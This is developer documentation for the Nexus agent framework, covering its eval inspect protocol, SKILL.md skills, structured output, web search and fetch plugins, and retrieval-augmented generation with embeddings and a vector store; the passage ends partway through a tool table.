One JSON object on stdout, exit 0 on success:
{
"schema": 1,
"session_id": "01HK...",
"final_assistant_message": "the build error is in line 42",
"tool_calls": [
{
"tool": "shell",
"args": { "cmd": "go build ./..." },
"result_summary": "main.go:42: undefined: Foo",
"duration_ms": 412
}
],
"tokens": { "input": 6213, "output": 1102 },
"latency_ms": 18733,
"metadata": { "case_id": "swe-bench-1234" },
"error": null
}
| Field | Type | Semantics |
|---|---|---|
schema | integer | Mirrors the request’s wire-format version. |
session_id | string | Engine-assigned session UUID. Empty if the engine never reached session bootstrap. |
final_assistant_message | string | Text of the final assistant llm.response (terminal FinishReason). Empty when no terminal turn fired. |
tool_calls | array | Ordered tool.invoke → tool.result pairs in journal order. Always non-null (empty array when no tool calls fired). |
tool_calls[].tool | string | Tool name. |
tool_calls[].args | object | Parsed argument map from the agent’s invocation. |
tool_calls[].result_summary | string | Truncated stringification of the tool’s output (≤ 2 KB, UTF-8 safe; ellipsized when truncated). Includes any error string. |
tool_calls[].duration_ms | integer | tool.result.Ts − tool.invoke.Ts in milliseconds. |
tokens | object | Per-session token totals across every llm.response. |
latency_ms | integer | First-to-last journaled envelope wall time, in milliseconds. |
metadata | object | Round-tripped from the request unchanged. |
error | object | null | Populated on failure; null on success. |
Errors
When the request fails, the process exits non-zero and the response’s
error field is populated. This redundancy is deliberate: harnesses can
key off either signal.
{
"schema": 1,
"tool_calls": [],
"metadata": { "case_id": "..." },
"error": {
"code": "CONFIG_LOAD",
"message": "config load: read /missing.yaml: no such file or directory"
}
}
| Code | When | Typical recovery |
|---|---|---|
INVALID_REQUEST | Wire-format violation: missing/extra field, both config sources set, schema mismatch, unknown field, malformed JSON, or the mode was paired with a subcommand. | Fix the request envelope. |
CONFIG_LOAD | The named config_path could not be read, or the YAML failed to parse. | Verify the path / contents. |
ENGINE_BOOT | Plugin initialization or capability resolution failed. | Inspect engine logs; usually a missing required plugin or bad per-plugin config. |
RUN_FAILED | The engine booted and ran, but projecting the journal into the response shape failed (e.g. malformed events, unreachable journal). Mid-run agent errors generally surface via TIMEOUT when context expires or as a partial response. | Inspect the response’s tool_calls, the journal under NEXUS_EVAL_INSPECT_KEEP_SESSIONS=1, or rerun under nexus eval run with the same config. |
TIMEOUT | The request exceeded the deadline (flag, env, or default 60s) before reaching session-end. | Raise --timeout, lower max_turns, or simplify the case. |
INTERNAL | Unanticipated error. | Treat as a Nexus bug; file an issue. |
Schema versioning
The schema field is the durable contract. Bumping it is a deliberate
event:
- Increment
SchemaVersioninpkg/eval/protocol/protocol.go. - Update the snapshots in
pkg/eval/protocol/schema_test.go. - Add a migration note to this page describing what changed and how external harnesses should adapt.
The schema-stability snapshot test enforces this discipline: a drift in field names, types, or order fails CI until the snapshot is updated deliberately.
External harness integration
Nexus does not ship a Python shim. The protocol is the contract; any
language with subprocess and a JSON parser can drive it. Here is a
minimal Python sketch demonstrating the wire format; copy it out-of-tree
into your eval harness as needed.
# example: drive_nexus.py — NOT shipped with Nexus, copy out-of-tree.
import json
import subprocess
def run_nexus(config_path, user_input, *, max_turns=0, metadata=None,
timeout="60s"):
req = {
"schema": 1,
"config_path": config_path,
"user_input": user_input,
}
if max_turns:
req["max_turns"] = max_turns
if metadata:
req["metadata"] = metadata
proc = subprocess.run(
["nexus", "eval", "--inspect-mode", f"--timeout={timeout}"],
input=json.dumps(req).encode(),
capture_output=True,
check=False,
)
resp = json.loads(proc.stdout)
if resp.get("error"):
raise RuntimeError(f"{resp['error']['code']}: {resp['error']['message']}")
return resp
For Inspect AI specifically, write a Solver whose __call__ drives
this protocol and emits the final assistant message as the model output;
score on the round-tripped metadata.
See also
- Eval Harness Overview — the bigger picture.
- Case Format — the on-disk eval bundle that runs
through
nexus eval runrather than the inspect protocol. pkg/eval/protocol/— Go source of truth for the wire format.pkg/eval/protocol/schema_test.go— snapshot test pinning the format.
Writing Skills
Skills are reusable instruction sets that extend the agent’s behavior without writing Go code. A skill is a directory containing a SKILL.md file with YAML frontmatter and markdown instructions.
Skill Structure
skills/
my-skill/
SKILL.md # Required: frontmatter + instructions
resources/ # Optional: supporting files
template.txt
schema.json
SKILL.md Format
---
name: my-skill
description: >-
A concise description of what this skill does and when it should
be used. This appears in the skill catalog shown to the agent.
metadata:
author: your-name
version: "1.0"
---
# My Skill
## When to use
Describe the situations where this skill should be activated.
## Instructions
1. Step one...
2. Step two...
3. Step three...
Frontmatter Fields
| Field | Required | Description |
|---|---|---|
name | Yes | Unique skill identifier (used in activation) |
description | Yes | What the skill does — shown in the catalog. Write this so the agent knows when to use it. |
metadata.author | No | Who created this skill |
metadata.version | No | Version string |
output_schema | No | Inline JSON Schema for structured output (see Output Schema) |
output_schema_file | No | Path to a .json schema file, relative to the skill directory |
Body Content
The markdown body is loaded into the agent’s context when the skill is activated. Write it as instructions the agent should follow.
Skill Locations
Skills are discovered only from directories listed in the nexus.skills plugin’s scan_paths config — there are no implicit defaults. If scan_paths is empty, no skills are loaded.
Scope is inferred from each scan path:
| Path Pattern | Scope | Trust Level |
|---|---|---|
Under user’s home .nexus/ or .agents/ tree | User | Always trusted |
| Anywhere else | Project | Configurable (ask/always/never) via trust_project |
Configure scan paths explicitly. Tilde paths (~, ~/...) are expanded to the user’s home directory:
nexus.skills:
scan_paths:
- ./skills # project skills, relative to cwd
- ~/.agents/skills # user-scope skills (tilde is expanded)
Example: Code Review Skill
---
name: code-review
description: >-
Review code for quality, bugs, security issues, and style.
Use when the user asks for a code review or wants feedback
on their code changes.
metadata:
author: nexus
version: "1.0"
---
# Code Review
## When to use
Use this skill when the user asks you to review code, check a PR,
or provide feedback on code quality.
## Instructions
1. Read all changed files thoroughly before commenting
2. Check for these categories of issues:
- **Bugs**: Logic errors, off-by-one, null/nil handling, race conditions
- **Security**: Injection, XSS, hardcoded secrets, unsafe deserialization
- **Performance**: Unnecessary allocations, N+1 queries, missing indexes
- **Style**: Naming, formatting, idiomatic patterns for the language
- **Design**: SOLID violations, coupling, missing abstractions
3. Prioritize findings by severity (critical > major > minor > nit)
4. For each finding, explain the issue AND suggest a fix
5. Start with a high-level summary before detailed findings
6. Acknowledge what's done well
Resources
Skills can include resource files in a resources/ subdirectory. The agent can request these via the skill.resource.read event.
skills/
doc-analysis/
SKILL.md
resources/
analysis-template.md
output-format.json
Skill Catalog in System Prompt
When catalog_in_system_prompt: true is set on the skills plugin, discovered skills are listed in the system prompt as XML:
<skills>
<skill name="code-review" scope="project">Review code for quality, bugs, security issues, and style.</skill>
<skill name="doc-analysis" scope="project">Analyze documents and extract structured information.</skill>
</skills>
The agent can then decide to activate a skill based on the user’s request.
Output Schema
Skills can declare an output schema to enforce structured LLM output when the skill is active. The schema is registered with the Schema Registry on activation and deregistered on deactivation.
Inline Schema
For simple schemas, define output_schema directly in the frontmatter:
---
name: code-review
description: Review code for quality and bugs.
output_schema:
type: object
required: [summary, issues]
properties:
summary:
type: string
issues:
type: array
items:
type: object
required: [file, line, severity, message]
properties:
file: { type: string }
line: { type: integer }
severity: { type: string, enum: [critical, major, minor, nit] }
message: { type: string }
---
File-Referenced Schema
For complex schemas, reference a .json file:
---
name: code-review
description: Review code for quality and bugs.
output_schema_file: resources/review.schema.json
---
skills/
code-review/
SKILL.md
resources/
review.schema.json
Paths are resolved relative to the skill directory. Absolute paths are also accepted.
Precedence
If both output_schema and output_schema_file are present, output_schema (inline) wins.
Lifecycle
- Skill activates → schema loaded (inline or from file) →
schema.registeremitted - While skill is active, LLM requests are tagged with
_expects_schemametadata - Schema Registry attaches
ResponseFormatto tagged requests - Provider maps to native structured output or simulates it
- Skill deactivates →
schema.deregisteremitted → tagging stops
When to Use Inline vs File
- Inline: Simple schemas under ~10 fields. Easy to read alongside instructions.
- File: Complex schemas, schemas shared across skills, schemas generated or validated by external tooling.
Best Practices
- Write clear descriptions — The description is how the agent decides whether to activate the skill. Make it specific about the trigger conditions.
- Be prescriptive in instructions — Tell the agent exactly what to do, in what order, and what output to produce.
- Use numbered steps — Structured instructions are easier for the agent to follow.
- Specify output format — If you want structured output, describe the format explicitly.
- Keep skills focused — One skill should do one thing well. Compose multiple skills rather than creating one mega-skill.
- Test with different inputs — Verify the skill produces good results across various scenarios.
Structured Output
This guide covers how to get structured (schema-validated) output from LLM providers in Nexus. The system uses a three-layer design: schema declaration → request tagging → provider execution, with the existing json_schema gate as a safety net.
How It Works
- A schema is registered with the Schema Registry (via
schema.registerevent or direct API) - An LLM request is tagged with
_expects_schemametadata pointing to the schema name - The Schema Registry attaches a
ResponseFormatto the request - The provider maps
ResponseFormatto its native structured output mechanism (or simulates it) - The
json_schemagate optionally validates the response as a safety net
Scenarios
1. Skill with Inline Output Schema
The simplest path — declare the schema directly in your SKILL.md frontmatter.
SKILL.md:
---
name: extract-entities
description: Extract named entities from text.
output_schema:
type: object
required: [entities]
properties:
entities:
type: array
items:
type: object
required: [name, type]
properties:
name: { type: string }
type: { type: string, enum: [person, org, location, date] }
---
# Entity Extraction
Extract all named entities from the user's text. Return only the JSON output.
Config:
plugins:
active:
- nexus.skills
- nexus.llm.openai # or nexus.llm.anthropic
- nexus.agent.react
No additional config needed — the skills plugin handles registration automatically.
What happens:
- User triggers skill activation → skills plugin loads
output_schemafrom frontmatter - Skills plugin emits
schema.registerwith nameskill.extract-entities.output - On each LLM request while skill is active, skills plugin tags
_expects_schema = "skill.extract-entities.output"viabefore:llm.request - Schema Registry sees the tag, attaches
ResponseFormat{Type: "json_schema", Schema: ...}to the request - Provider sends structured output request to the API
- On deactivation, skills plugin emits
schema.deregister
2. Skill with File-Referenced Schema
For complex schemas, keep them in a separate JSON file.
Directory layout:
skills/
data-analysis/
SKILL.md
resources/
analysis.schema.json
SKILL.md:
---
name: data-analysis
description: Analyze datasets and produce structured findings.
output_schema_file: resources/analysis.schema.json
---
# Data Analysis
Analyze the provided dataset and return structured findings.
resources/analysis.schema.json:
{
"type": "object",
"required": ["summary", "findings", "recommendations"],
"properties": {
"summary": { "type": "string" },
"findings": {
"type": "array",
"items": {
"type": "object",
"required": ["metric", "value", "trend"],
"properties": {
"metric": { "type": "string" },
"value": { "type": "number" },
"trend": { "type": "string", "enum": ["up", "down", "stable"] }
}
}
},
"recommendations": {
"type": "array",
"items": { "type": "string" }
}
}
}
The path is resolved relative to the skill directory. The skills plugin loads and parses the file at activation time.
3. Embedder Requesting Structured Output
Embedders can set ResponseFormat directly on LLMRequest, bypassing the registry entirely.
// In your embedder code:
req := events.LLMRequest{
Messages: []events.Message{
{Role: "user", Content: "Analyze this resume..."},
},
ResponseFormat: &events.ResponseFormat{
Type: "json_schema",
Name: "candidate_score",
Schema: map[string]any{
"type": "object",
"required": []string{"name", "score", "reasoning"},
"properties": map[string]any{
"name": map[string]any{"type": "string"},
"score": map[string]any{"type": "integer", "minimum": 1, "maximum": 10},
"reasoning": map[string]any{"type": "string"},
},
},
Strict: true,
},
MaxTokens: 4096,
Stream: true,
}
_ = bus.Emit("llm.request", req)
Use direct ResponseFormat when:
- The schema is known at compile time and won’t change
- You don’t need the registry’s indirection
- You’re building a focused embedder app, not a plugin
4. Plugin Injecting Schema via before:llm.request
A custom plugin can dynamically select schemas based on conversation state.
func (p *MyPlugin) handleBeforeLLMRequest(event engine.Event[any]) {
vp, ok := event.Payload.(*engine.VetoablePayload)
if !ok {
return
}
req, ok := vp.Original.(*events.LLMRequest)
if !ok {
return
}
// Dynamic schema selection based on request context.
if p.shouldUseStructuredOutput(req) {
if req.Metadata == nil {
req.Metadata = make(map[string]any)
}
req.Metadata["_expects_schema"] = "my_plugin.output_schema"
}
}
This pattern works when:
- Schema varies based on conversation state or user input
- Plugin registers multiple schemas and picks one per request
- You want registry-based resolution but custom tagging logic
5. Belt-and-Suspenders with json_schema Gate
Enable both structured output and the json_schema gate for defense-in-depth.
plugins:
active:
- nexus.skills
- nexus.gate.json_schema
- nexus.llm.openai
- nexus.agent.react
nexus.gate.json_schema:
schema:
type: object
required: [entities]
properties:
entities:
type: array
max_retries: 2
How they interact:
- Schema Registry drives generation — provider sends structured output request
json_schemagate validates output — checks_structured_outputmetadata- When
_structured_outputistrue(provider enforced), the gate skips validation - When
_structured_outputis absent orfalse, the gate validates and retries as usual
This gives you native enforcement where available plus validation fallback everywhere else.
Provider Behavior
| Provider | json_object | json_schema | Metadata |
|---|---|---|---|
| OpenAI | Native response_format | Native response_format with strict mode | _structured_output: true |
| Anthropic | Not supported | Simulated via tool-use-as-schema | _structured_output: true |
| Unknown | Ignored | Ignored | No flag set |
Anthropic Simulation Details
Since Anthropic doesn’t support response_format, the provider simulates json_schema mode:
- Injects a synthetic tool
_structured_outputwith the schema as itsinput_schema - Forces
tool_choiceto{"type": "tool", "name": "_structured_output"} - Claude returns structured data as tool call arguments
- Provider unwraps tool arguments back into
LLMResponse.Content - During streaming, tool input deltas are emitted as content chunks
This overrides any existing ToolChoice on the request.
Web Search & Fetch
Nexus gives agents two tools for doing research on the live web:
web_search— returns a ranked list of URLs + titles + snippets for a query.web_fetch— downloads one URL and returns its main article text (or raw text for non-article pages).
They are intentionally split so the agent can triage first and only pay for full-page reads on the hits it actually cares about.
Architecture at a glance
LLM turn
│
▼
web_search tool ──► search.request event ──► search.provider plugin ──► HTTP API
│
bus fills SearchRequest.Results ◄──┘
▼
LLM picks a URL, calls web_fetch
│
▼
web_fetch tool ──► http.Client ──► go-readability / x/net/html ──► tool.result
The web tool plugin (nexus.tool.web) is the only plugin that registers tools with the catalog. Search providers are separate plugins that advertise the abstract search.provider capability. This mirrors how the LLM provider system works: one consumer, pluggable backends, resolved by capability name at boot.
Plugins
| Plugin ID | Role | Notes |
|---|---|---|
nexus.tool.web | Registers web_search and web_fetch. Emits search.request. | Requires a search.provider to be active. Holds the fetch cache. |
nexus.search.brave | search.provider via the Brave Search API. | Needs BRAVE_API_KEY. Free tier: 2k queries/month. |
nexus.search.anthropic_native | search.provider via Anthropic’s built-in web_search tool. | Needs ANTHROPIC_API_KEY. Bills to your Anthropic account at the native web-search rate. Works even when your LLM provider is OpenAI. |
nexus.search.openai_native | search.provider via OpenAI’s Responses API with the built-in web_search tool. | Needs OPENAI_API_KEY. Works even when your LLM provider is Anthropic. |
Adding a new adapter later (Tavily, Exa, Serper, Kagi, a private Searx instance) is a matter of writing a plugin that:
- Advertises
Capabilities() = [{Name: "search.provider"}] - Subscribes to
search.requestand fills the result in place
No changes to nexus.tool.web or to any agent are needed. See the existing adapters in plugins/search/ for reference.
Minimum config
plugins:
active:
- nexus.agent.react
- nexus.llm.anthropic
- nexus.tool.web
- nexus.search.brave # pick exactly one search provider
nexus.search.brave:
api_key_env: BRAVE_API_KEY
timeout: 15s
nexus.tool.web:
search:
count: 10
safe_search: moderate
fetch:
timeout: 20s
max_size: 5MB
extract_mode: readability
If more than one plugin advertising search.provider is active, the engine picks the first in plugins.active order and emits a WARN. Pin one explicitly with a top-level capabilities: block:
capabilities:
search.provider: nexus.search.anthropic_native
plugins:
active:
- nexus.search.brave # still active; pin overrides
- nexus.search.anthropic_native
Configuration reference
nexus.tool.web
| Key | Type | Default | Description |
|---|---|---|---|
search.count | int | 10 | Default max results when the LLM omits count. |
search.safe_search | string | moderate | Provider-dependent safety filter. off / moderate / strict. |
search.language | string | (empty) | BCP-47 language tag forwarded to the provider. |
fetch.timeout | duration | 20s | Per-fetch HTTP timeout. |
fetch.max_size | bytes | 5MB | Hard cap on response body. Excess truncates and errors. |
fetch.user_agent | string | Nexus/0.1 ... | User-Agent header. |
fetch.extract_mode | string | readability | readability or raw. Per-call override via the tool’s extract arg. |
fetch.allowed_domains | list | (empty) | When set, only these domains (and subdomains) are fetchable. |
fetch.blocked_domains | list | (empty) | Always denied, even if allowed_domains includes them. |
fetch.follow_redirects | bool | true | Follow 3xx redirects. |
fetch.max_redirects | int | 5 | Redirect chain limit. |
nexus.search.brave
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | — | Brave API key (direct literal). |
api_key_env | string | BRAVE_API_KEY | Env var name to read the key from when api_key is unset. |
timeout | duration | 15s | HTTP timeout. |
nexus.search.anthropic_native
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | — | Anthropic API key. |
api_key_env | string | ANTHROPIC_API_KEY | Fallback env var. |
model | string | claude-haiku-4-5-20251001 | Model used for the one-shot search call. Haiku keeps it cheap. |
timeout | duration | 30s | HTTP timeout (search requires a full LLM round trip). |
nexus.search.openai_native
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | — | OpenAI API key. |
api_key_env | string | OPENAI_API_KEY | Fallback env var. |
base_url | string | https://api.openai.com/v1/responses | Override for Azure/compatible endpoints. |
model | string | gpt-4o-mini | Model used for the Responses call. |
timeout | duration | 30s | HTTP timeout. |
Tool surface
web_search
| Argument | Type | Required | Notes |
|---|---|---|---|
query | string | yes | The search query. |
count | int | no | Max results. Defaults to search.count. |
freshness | string | no | day / week / month. Adapter best-effort. |
language | string | no | BCP-47 tag. Adapter best-effort. |
Output format: a numbered list of results followed by a JSON payload in the same string. The JSON carries the raw SearchResult structs for consumers that want to parse programmatically (e.g. a downstream tool chained via run_code).
web_fetch
| Argument | Type | Required | Notes |
|---|---|---|---|
url | string | yes | Absolute http or https URL. |
extract | string | no | readability (default) or raw. |
Output is text with a small header block (URL, Title, Byline, Summary, Extract). Readability failures return an error — the agent should retry with extract='raw' rather than silently degrade.
Session caching
Fetch results are memoized inside the plugin keyed on (extract-mode, final-URL) for the duration of the session. This matters because an agent often searches → fetches a URL → reasons → re-fetches the same URL later in the same turn when the conversation loops back to it. The cache clears on io.session.end, so recalling a session in a new engine boot starts fresh.
Search results are not cached (queries are high cardinality and cheap enough).
Gate interaction
Both tools emit through the normal vetoable before:tool.result hook, so every existing gate applies without extra wiring:
| Gate | Effect on web tools |
|---|---|
nexus.gate.content_safety | PII/secret redaction or blocking on fetched page content and on search snippets. |
nexus.gate.output_length | Truncates oversized page extractions with an LLM retry. |
nexus.gate.tool_filter | Allow- or block-list web_search / web_fetch per profile without removing the plugin. |
nexus.gate.prompt_injection | Runs on the LLM’s input, including anything the agent pastes back from a fetch result. |
No new gate is needed specifically for the web tools. If you want to constrain fetch targets to a fixed set of sites, use fetch.allowed_domains — policy at the fetch layer is cheaper and clearer than a custom gate.
Choosing an adapter
| You want… | Pick |
|---|---|
| Cheapest dedicated search API, free tier, LLM-agnostic | nexus.search.brave |
| Zero additional API keys, already paying Anthropic | nexus.search.anthropic_native |
| Zero additional API keys, already paying OpenAI | nexus.search.openai_native |
| Fanout / redundancy across multiple providers | pin one primary, layer a future fallback adapter |
The native adapters make an extra LLM round-trip to Claude/OpenAI to execute the search. This adds latency (roughly one LLM call on top of the downstream search) but means you do not need a second vendor. They are particularly handy during early prototyping, when shipping another API key is more friction than the latency cost.
Bus contract
Everything flows through one event pair. Knowing the shape is enough to write your own adapter.
// pkg/events/search.go
type SearchRequest struct {
Query string
Count int
SafeSearch string
Language string
Freshness string
// Filled by the provider:
Results []SearchResult
Provider string
Error string
}
type SearchResult struct {
Title string
URL string
Snippet string
PublishedAt time.Time
Source string
}
The request is emitted as a pointer payload on search.request. Handlers mutate it in place before Emit returns, so the tool plugin sees the result synchronously. This is the same pattern as tool.catalog.query and memory.history.query.
Adapter handlers must:
- Ignore the event if
req.Provider != ""(someone else already answered). - Set
req.Provider = pluginIDwhether the call succeeded or failed. - Set
req.Errororreq.Results, not both.
Writing a new adapter
package tavily
import (
"github.com/frankbardon/nexus/pkg/engine"
"github.com/frankbardon/nexus/pkg/events"
)
const pluginID = "nexus.search.tavily"
type Plugin struct{ /* … */ }
func (p *Plugin) Capabilities() []engine.Capability {
return []engine.Capability{{Name: "search.provider"}}
}
func (p *Plugin) Init(ctx engine.PluginContext) error {
// … wire config, HTTP client, API key …
p.bus = ctx.Bus
p.bus.Subscribe("search.request", p.handleSearch,
engine.WithPriority(50), engine.WithSource(pluginID))
return nil
}
func (p *Plugin) handleSearch(e engine.Event[any]) {
req, ok := e.Payload.(*events.SearchRequest)
if !ok || req.Provider != "" {
return
}
results, err := p.callTavily(req)
req.Provider = pluginID
if err != nil {
req.Error = err.Error()
return
}
req.Results = results
}
Register the factory in pkg/engine/allplugins/register.go and add a search section to your config. The web tool picks it up automatically via the capability system.
Troubleshooting
-
no search provider answered — check that a plugin advertising 'search.provider' is activeThe web tool dispatched a search but no adapter handled it. Activate one of the provided adapters or your own. -
readability extraction failed … (try extract='raw')The page is not an article (docs site, table, forum, dashboard). Re-call withextract: raw. -
host "example.com" is not allowed by policyYourfetch.allowed_domainsorfetch.blocked_domainsrejected the URL. Adjust the list or remove the restriction. -
HTTP 401/403 from the adapter Check the API key env var. Each adapter logs the variable it looked at during boot.
Retrieval-Augmented Generation (RAG)
Nexus has first-class RAG support built from two primitive capabilities (embeddings.provider, vector.store) and three consumer plugins (nexus.rag.ingest, nexus.tool.knowledge_search, nexus.memory.vector). Each layer is swappable via the standard capability/adapter system, so adding a new vector backend or embedding provider doesn’t ripple through any other code.
This guide walks through the common path: stand up a knowledge base, point an agent at it, and let the LLM cite sources. Reference docs for each plugin live under Plugin Reference — the goal here is to give you a working setup in ten minutes.
What you get
- Knowledge-base search:
knowledge_searchtool the LLM calls to pull supporting passages from configured namespaces. Returns top-k chunks with similarity scores and source paths for citation. - Per-agent semantic memory: automatic recall of relevant past content (compaction summaries, explicit stores) on every user turn, injected into the system prompt.
- Bulk-ingest CLI:
nexus ingestboots a minimal engine to chunk, embed, and store files without a running agent. - Watch-mode ingestion:
fsnotify-backed directory watchers re-ingest files on write and drop chunks on delete.
Architecture at a glance
flowchart TB
subgraph Caps["⚡ Capabilities"]
direction LR
EP["embeddings.provider<br/><sub>nexus.embeddings.openai · …</sub>"]
VS["vector.store<br/><sub>nexus.vectorstore.chromem · …</sub>"]
end
subgraph Consumers["🔌 Consumer plugins"]
direction LR
ING["nexus.rag.ingest<br/><sub>chunk + cache + fsnotify</sub>"]
KS["nexus.tool.knowledge_search<br/><sub>LLM-facing tool</sub>"]
MV["nexus.memory.vector<br/><sub>per-agent recall</sub>"]
end
ING -- embeddings.request --> EP
KS -- embeddings.request --> EP
MV -- embeddings.request --> EP
ING -- vector.upsert --> VS
KS -- vector.query --> VS
MV -- vector.query / upsert --> VS
classDef cap fill:#1e3a5f,stroke:#4a90e2,stroke-width:2px,color:#fff;
classDef consumer fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
class EP,VS cap;
class ING,KS,MV consumer;
Everything flows through the bus. No plugin imports another. Adding a new backend means writing one plugin that advertises a capability and subscribes to its events.
Quickstart
1. Provide an OpenAI API key
The default embedding adapter calls OpenAI’s text-embedding-3-small model. Set the key in env or .env:
export OPENAI_API_KEY=sk-...
You can also keep your existing Anthropic key for the LLM — embeddings and chat use different keys.
2. Ingest some content
Bulk-load a directory using the CLI subcommand:
bin/nexus ingest --namespace=kb --glob="*.md" ./docs
Output looks like:
OK docs/getting-started/installation.md (3 chunks, 0 cached)
OK docs/architecture/overview.md (5 chunks, 0 cached)
...
ingested 24 file(s), 0 failed; 87 chunks total (0 from cache)
Files persist to ~/.nexus/vectors/<namespace>/. Re-running the same command shows 87 chunks total (87 from cache) — the embedding cache shortcuts unchanged content.
3. Run an agent that knows about it
The configs/rag.yaml profile wires everything up:
bin/nexus -config configs/rag.yaml
You can ask the agent questions about the ingested content:
> What does the docs say about the plugin lifecycle?
[The agent calls knowledge_search → top hits from architecture/plugin-system.md]
The plugin lifecycle has three phases: Init, Ready, and Shutdown.
During Init, plugins receive a PluginContext with config, bus, logger,
and registry handles. Ready runs after every plugin's Init has
completed... (source: docs/architecture/plugin-system.md, chunk 2)
That’s the full happy path. The rest of this guide covers the moving parts.
Plugins
| Plugin ID | Role |
|---|---|
nexus.embeddings.openai | embeddings.provider — OpenAI embeddings API |
nexus.embeddings.mock | embeddings.provider — deterministic hash-based vectors for tests, no network |
nexus.vectorstore.chromem | vector.store — chromem-go backend, pure Go, JSON on-disk persistence |
nexus.rag.ingest | Ingestion: chunker + embedding cache + fsnotify watcher; backs nexus ingest |
nexus.tool.knowledge_search | LLM-facing search tool; mirrors web_search for configured knowledge bases |
nexus.memory.vector | Per-agent semantic recall; advertises memory.vector |
Common configurations
Knowledge base only
The agent has a knowledge_search tool but no automatic recall. Good when you want full LLM control over when retrieval happens.
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.embeddings.openai
- nexus.vectorstore.chromem
- nexus.rag.ingest # only needed if you ingest at runtime
- nexus.tool.knowledge_search
nexus.tool.knowledge_search:
namespaces: [kb]
default_namespaces: [kb]
top_k: 5
Per-agent semantic memory only
No tool — the agent just gets relevant past context auto-injected on every turn.
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.embeddings.openai
- nexus.vectorstore.chromem
- nexus.memory.vector
nexus.memory.vector:
top_k: 5
auto_store_compaction: true
The plugin auto-stores compaction summaries (so trimmed context stays recallable) and on every io.input queries the agent’s namespace and renders hits as a <recalled_memory> XML block in the next system prompt. Conservative by default: it does not auto-store every user message — auto_store_user_input is false until you opt in.
Watch-mode ingestion
For a docs site or knowledge wiki, point a watcher at a directory:
nexus.rag.ingest:
chunker:
size: 1000
overlap: 200
watch:
- path: ./docs
glob: "*.md"
namespace: project-docs
- path: ./knowledge-base
namespace: kb
fsnotify re-ingests on write (debounced 250ms to coalesce save bursts) and drops the file’s chunks on delete. Chunk IDs are deterministic (<sha256-prefix-of-abspath>-<chunk-idx>) so the upsert path is idempotent and deletes don’t need a preceding query.
Both: tool + memory + watcher
The configs/rag.yaml example activates everything. Tune namespaces and salience knobs to taste.
Embedding provider
OpenAI is the only built-in adapter today. To use it:
nexus.embeddings.openai:
api_key_env: OPENAI_API_KEY
# model: text-embedding-3-small # default; -large is 3x cost
# dimensions: 1536 # provider-default; smaller = cheaper, less accurate
# base_url: https://api.openai.com/v1/embeddings # override for Azure / proxies
For tests or offline development, swap in the mock:
plugins:
active:
- nexus.embeddings.mock
# ...
nexus.embeddings.mock:
dimensions: 128 # default; size doesn't matter for tests
nexus.embeddings.mock produces deterministic hash-based vectors. Same text in → same vector out, no network. Used by the integration test suite and useful for exercising the rest of the stack without burning OpenAI credits.
To add a new provider (Anthropic Voyage, Ollama, local models, etc.) you write one plugin: advertise embeddings.provider, subscribe to embeddings.request, fill req.Vectors / req.Provider / req.Error in place. See Bus contract below.
Vector store
chromem-go is the only built-in adapter. Pure Go, no CGO, in-memory with JSON on-disk persistence.
nexus.vectorstore.chromem:
path: ~/.nexus/vectors # default
compress: false # gzip-compress collections on disk
Namespaces map 1:1 to chromem collections. Each namespace becomes a subdirectory under path. Suitable up to low millions of chunks; swap for sqlite-vec / pgvector / Qdrant when you outgrow it. The vector.store event surface stays identical.
Choosing namespaces
Namespaces isolate logically distinct knowledge. Three common shapes:
| Use case | Example namespace | Notes |
|---|---|---|
| Project documentation | project-docs | One namespace per project; switch profiles to switch context. |
| Shared knowledge base | kb | Cross-project FAQ, runbooks, playbooks. |
| Per-agent semantic memory | memory-{InstanceID} | Auto-derived by nexus.memory.vector — sanitized InstanceID. |
nexus.tool.knowledge_search enforces an allow-list: the LLM-supplied namespaces arg is intersected with the configured namespaces list, so the tool can’t reach into stores it shouldn’t see. The memory.vector namespace is intentionally separate from any knowledge-base namespace — semantic memory is an internal detail you wouldn’t expose as a citable source.
Embedding cache
nexus.rag.ingest caches content-hash → vector on disk under ~/.nexus/vectors/_cache/ by default. Cache hits skip the embedding API call entirely.
The cache is keyed on content hash only — not per embedding model. If you switch embedding models, drop the cache directory. (Mixing vectors from two models in one namespace is incoherent anyway, so re-ingest is required either way.)
rm -rf ~/.nexus/vectors/_cache/ # after switching embedding model
nexus ingest --namespace=kb ./docs # rebuild
Knowledge-search tool
The tool registers as knowledge_search (mirroring web_search), described to the LLM as searching configured knowledge bases. Behavior on invoke:
- Embed the query.
- Fan out
vector.queryacross the requested-and-allowed namespaces. - Merge hits, sort by similarity, truncate to top-k.
- Return JSON with
rank,namespace,similarity,source,chunk_idx,content, and (optional)metadata— enough for the LLM to cite.
Configuration knobs:
nexus.tool.knowledge_search:
namespaces: [kb, project-docs] # required allow-list
default_namespaces: [kb] # used when LLM omits the arg
top_k: 5 # default; LLM may override per-call up to maxTopK=50
include_metadata: true # whether to return raw metadata map
The system-prompt example in configs/rag.yaml nudges the LLM toward calling knowledge_search first on factual questions — adjust this prompt for your domain so the tool gets used at the right times. Without a hint, the LLM may try to answer from training data on questions you wanted grounded in the KB.
Vector memory
nexus.memory.vector runs three behaviors:
- On
io.input(priority 10, before the agent’s handler at 50): embed the user message → query the agent’s namespace → stash hits → render them as a<recalled_memory>block via thePromptRegistryfor the nextllm.request. - On
memory.compacted: auto-store the compaction summary so past context stays recallable after the history buffer trims it. - On
memory.vector.store: explicit-store entry point for tools or plugins that want to record content deliberately.
nexus.memory.vector:
# namespace: memory-default # default: "memory-{InstanceID}"
top_k: 5
min_similarity: 0.3 # filter out weak hits from the prompt
auto_store_compaction: true # auto-write summaries on memory.compacted
auto_store_user_input: false # off by default — you usually don't want this
section_priority: 45 # prompt ordering vs. other sections
Vector memory vs long-term memory
Both plugins persist across sessions, but they solve different problems and don’t share storage:
nexus.memory.longterm | nexus.memory.vector | |
|---|---|---|
| Address by | key (LLM-managed) | embedding (semantic similarity) |
| Storage | one markdown file per entry, YAML frontmatter | vector store namespace |
| LLM tools | memory_read / memory_write / memory_list / memory_delete | none — automatic |
| Best for | structured notes, preferences, facts to remember exactly | fuzzy recall of past content, summaries, topics |
They coexist. Long-term is the agent’s deliberate filing cabinet; vector memory is the agent’s automatic associative recall. Activate one or both; nothing in either plugin references the other.
Tool surface
knowledge_search
| Argument | Type | Required | Notes |
